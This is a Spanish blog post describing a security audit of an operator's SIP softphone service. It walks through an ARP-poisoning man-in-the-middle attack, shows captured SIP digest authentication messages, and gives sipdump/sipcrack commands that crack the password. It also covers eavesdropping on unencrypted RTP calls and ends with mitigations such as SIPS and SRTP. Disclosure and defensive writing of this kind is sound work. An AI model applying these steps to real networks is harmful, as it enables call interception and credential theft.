viernes, 4 de marzo de 2016

Las Operadoras que no amaban nuestras llamadas

Durante una auditoria del nivel de enlace de red bastante reciente, me tope con una solución de telefonía SIP susceptible de ser vulnerada mediante ataques de MiTM.




La proveedora de la solución de telefonía SIP es una Operadora de Telecomunicaciones a nivel mundial.

El problema se encuentra en un diseño débil de su solución de VoIP, que no ha tenido en cuenta la seguridad del entorno y por lo tanto las vulnerabilidades a las que la solución se ve expuesta.





En el siguiente artículo les mostraré el análisis de la auditoria y la problemática que se presentaba.

Escenario:



Empresa que utiliza una solución de telefonía basada en una solución Softphone de un Operador de telefonía, cuyo funcionamiento se basa en el protocolo SIP.

NOTA: En el artículo se han ocultado los datos reales de la Operadora afectada, la cual ha sido ya notificada. La Operadora ya dispone de nuevas versiones de la solución que corrigen parte del problema.



La implementación del ataque permite:

  • Interceptar los mensajes de señalización SIP entre el cliente (víctima) y el Proveedor SIP.
  • Interceptar los paquetes de audio de la comunicación contenidos en el protocolo de transporte RTP (Real Time Protocolo).


Pero antes un poco de teoría.


SIP http://tools.ietf.org/html/rfc3261 (Session Initiation Protocol)

SIP es un protocolo de señalización de llamadas sobre redes IP, opera en el nivel de aplicación y sus funciones principales son:


  • Establecer, modificar y finalizar las llamadas.
  • Registrar y localizar a los usuarios de la llamada.
  • Gestión de la comunicación entre los usuarios.
  • Gestionar las características de la sesión y negociación de los usuarios participantes en las llamadas.



Una solución de Centralita Software Libre muy interesante, que implementan el protocolo SIP para la señalización de las llamadas entre sus usuarios es Asterisk, además de otras funcionalidades avanzadas de Telefonía.


RTP  https://tools.ietf.org/html/rfc3550 (Real Time Protocol)

Es un protocolo orientado a la transmisión multimedia en tiempo real (audio/vídeo) y extremo-a-extremo sobre una red IP.

Se apoya en UDP para evitar el delay y los paquetes de VoIP se encapsulan dentro de este protocolo.
Se apoya en un protocolo de control denominado RTCP que monitoriza la calidad de la sesión RTP establecida entre dos usuarios de forma continua durante la sesión.

Visto de forma gráfica, el escenario sería de esta forma:





El proceso llevado a cabo a grandes rasgos consiste en que el usuario inicialmente se registra en el Proveedor SIP, de forma que pueda ser localizado por otros participantes.

Una vez registrado  en el Proveedor SIP, el usuario puede iniciar una llamada con otro usuario (mediante el mensaje Invite de SIP, se desencadena este proceso).

La petición INVITE la recibe el Proveedor SIP, el cual se encarga de localizar al usuario destinatario de la llamada.

Una vez localizado y confirmada la aceptación de la llamada, se establece un canal directo de comunicación entre los dos usuarios para intercambiar tráfico multimedia (voz/vídeo), con RTP se codifica y transmite la información entre ambos extremos.

Finalmente, terminado la comunicación entre los dos usuarios, uno de ellos, envía la señalización SIP correspondiente al Proveedor para notificar de la finalización de la llamada.


Sobre este escenario, tanto SIP, como RTP están expuestos a diversas vulnerabilidades, en nuestro caso concreto, las dos fases interesantes para nosotros serán:



  • La fase del registro del usuario, donde se intercambian las credenciales utilizando un sistema de autentificación de tipo Digest (hash) - reto entre el usuario y el Servidor de Registro SIP.
  • La fase donde una vez establecida la conexión entre los usuarios se intercambian los datos (streams de audio/vídeo) mediante el protocolo RTP.



Escenario del ataque




Herramientas:

Disponemos de una gran variedad de herramientas que podemos implementar en nuestros ataques a VoIP: http://www.hackingvoip.com/sec_tools.html

  • Cain y Abel: Implmentar el MiTM mediante ARP poisoing.
  • Wireshark: Capturar todo el tráfico VoIP entre la victima y el Proveedor SIP.
  • Crunch: Contruir diccionario de contraseñas adaptado.
  • sipdump: Extraer los paquetes SIP de autentificación.
  • sipcrack: Cracker la hash de la autentificación por fuerza bruta con nuestro diccionario


Como vector de ataque, algo muy habitual: MiTM mediante ARP Poisoning.

Utilizaremos Cain para implementar un ataque ARP Posioning contra una Vlan determinada de la organización, suplantamos el gateway por defecto de la Vlan y nos interponemos entre la Víctima y su salida a Internet.

La víctima es seleccionada porque utiliza la solución Softphone del Operador.

Implementando el ataque:







Por otro lado tenemos nuestro Wireshark corriendo por detrás y capturando el tráfico entre la victima y el Proveedor SIP.

Procedemos a filtrar la captura Wireshark con el tráfico SIP que nos interesa, el de registro del usuario y el tráfico RTP, el flujo de toda la captura es:




Registro del usuario:

REGISTER sip:operador.telefonia.es SIP/2.0
Via: SIP/2.0/UDP 192.168.5.113:5060;rport;
Route: <sip:10.10.10.10:5090;transport=UDP;lr>
Max-Forwards: 70
From: <sip:+34666666661@operador.telefonia.es>;
To: <sip:+34666666661@operador.telefonia.es>
Call-ID: 6ee49c2d5fea4b6c849ddXXXXXXXXXX
CSeq: 36105 REGISTER
User-Agent: ClienteSoftphone/X.X.X
Contact: <sip:+34666666661@192.168.5.113:5060>
Expires: 1800
Content-Length:  0

SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.5.113:5060;received=192.168.5.113;rport=5060
From: <sip:+34666666661@operador.telefonia.es>;
To: <sip:+34666666661@operador.telefonia.es>;
Call-ID: 6ee49c2d5fea4b6c849ddXXXXXXXXXX
CSeq: 36105 REGISTER
Content-Length: 0
WWW-Authenticate: Digest nonce="7F10D8FXXXXXXXXXXXXXXXXXXXXXXX",realm="operador.telefonia.es",algorithm=MD5,qop="auth"


REGISTER sip:operador.telefonia.es SIP/2.0
Via: SIP/2.0/UDP 192.168.5.113:5060;rport;
Route: <sip:10.10.10.10:5090;transport=UDP;lr>

From: <sip:+34666666661@operador.telefonia.es>;tag=b8397d01cdf94512ab57f1cb4533292c
To: <sip:+34666666661@operador.telefonia.es>
Call-ID: 6ee49c2d5fea4b6c849ddXXXXXXXXXX
CSeq: 36106 REGISTER
User-Agent: ClienteSoftphone/X.X.X
Contact: <sip:+34666666661@192.168.5.113:5060>
Expires: 1800
Authorization: Digest username="21XXXXXXXXXXX@operador.org", realm="operador.telefonia.es", nonce="7F10D8FXXXXXXXXXXXXXXXXXXXXXXX", uri="sip:operador.telefonia.es", response="3327bd40XXXXXXXXXXXXXXXXXXXXX", algorithm=MD5, cnonce="efe0f073XXXXXXXXXXXXXXXXXXXXX", qop=auth, nc=00000001
Content-Length:  0

SIP/2.0 200 OK
Via: SIP/2.0/UDP 192.168.5.113:5060;received=192.168.5.113;;rport=5060
From: <sip:+34666666661@operador.telefonia.es>;
To: <sip:+34666666661@operador.telefonia.es>;
Call-ID: 6ee49c2d5fea4b6c849ddXXXXXXXXXX
CSeq: 36106 REGISTER
Content-Length: 0
Contact: <sip:+34666666661@192.168.5.113:5060>;expires=2700
P-Associated-URI: <sip:+34666666661@operador.telefonia.es>
Authentication-Info: qop=auth,rspauth="ce9a258b998bXXXXXXXXXXXXXX",cnonce="efe0f073a30XXXXXXXXXXXXXXX",nc=00000001

Tras esta captura, como podemos observar tenemos mucha información muy importante:

  • Números de teléfono.
  • Usuarios.
  • Contraseñas (hash md5).




Obtener las credenciales de acceso


En primer lugar trataremos de romper la contraseña mediante Fuerza Bruta, aprovechando  la debilidad del protocolo SIP que realiza un intercambio en claro de mensajes con el proveedor SIP.

Cierto es que el proceso de autentificación va cifrado mediante un hash MD5, pero uno de los problemas observados en el diseño de la solución de la Operadora, es la debilidad de las contraseñas implementadas para sus usuarios SIP.

  • Nos creamos un diccionario especifico utilizando la utilidad crunch.
  • Extraemos de la captura con Wireshark los paquetes concretos de registro SIP:


testpen:~# sipdump extrae-dumpsip -p captura.pcapng 

SIPdump 0.2  ( MaJoMu | www.codito.de )
---------------------------------------

* Using pcap file 'captura.pcapng' for sniffing
* Starting to sniff with packet filter 'tcp or udp'

* Dumped login from 10.10.10.10 -> 192.168.5.113 (User: '21XXXXXXXXXXX@operador.org')


Fuerza bruta contra el hash:
testpen:~#sipcrack extrae-dumpsip -w diccionario-sip.txt

SIPcrack 0.2  ( MaJoMu | www.codito.de )
----------------------------------------

* Found Accounts:

Num Server Client User Hash|Password

1 192.168.5.113 10.10.10.10 21XXXXXXXXXXX@operador.org 3327bd40XXXXXXXXXXXXXXXXXXXXX



* Generating static MD5 hash... 07cd85602ddXXXXXXXXXXXXXXXXX
* Loaded wordlist: 'diccionario-sip.txt'
* Starting bruteforce against user '21XXXXXXXXXXX@operador.org' (MD5: '3327bd40XXXXXXXXXXXXXXXXXXXXX')


* Found password: 'XXXX'
* Updating dump file 'extrae-dumpsip'... done

Eavesdropping: Obtener los datos de la comunicación (la llamada) 


Nos aprovecharemos de la debilidad de la implementación de los clientes de VoIP que utilizan RTP, este protocolo  no implementa cifrado de los datos, por lo que a través de un MiTM podemos escuchar la llamada sin participar en ella.





Tras la captura tanto con wireshark como con Cain tenemos opciones para escuchar y descargar la llamada:



Solución y recomendaciones para mitigar estos riesgos


Se recomienda implementar medidas en los niveles de Servidor y cliente que mitiguen el riesgo:

El Operador y en general cualquier Organización o Proveedor de servicios SIP, deben diseñar la solución de  VoIP teniendo en cuenta los agentes externos que pueden implicar riesgos en la seguridad de la solución, e implementar mecanismos en la arquitectura VoIP que mitiguen los riesgos asociados.

Como pinceladas generales que debe cumplir una arquitectura de VoiP segura:

  • Segmentación de la red.
  • SIPS (SIP sobre TLS): Proporciona integridad y autentificación entre el usuario y el Proveedor SIP.
  • Utilizar SRTP http://tools.ietf.org/html/rfc3711 que soporta cifrado y autentificación.


No hay comentarios:

Publicar un comentario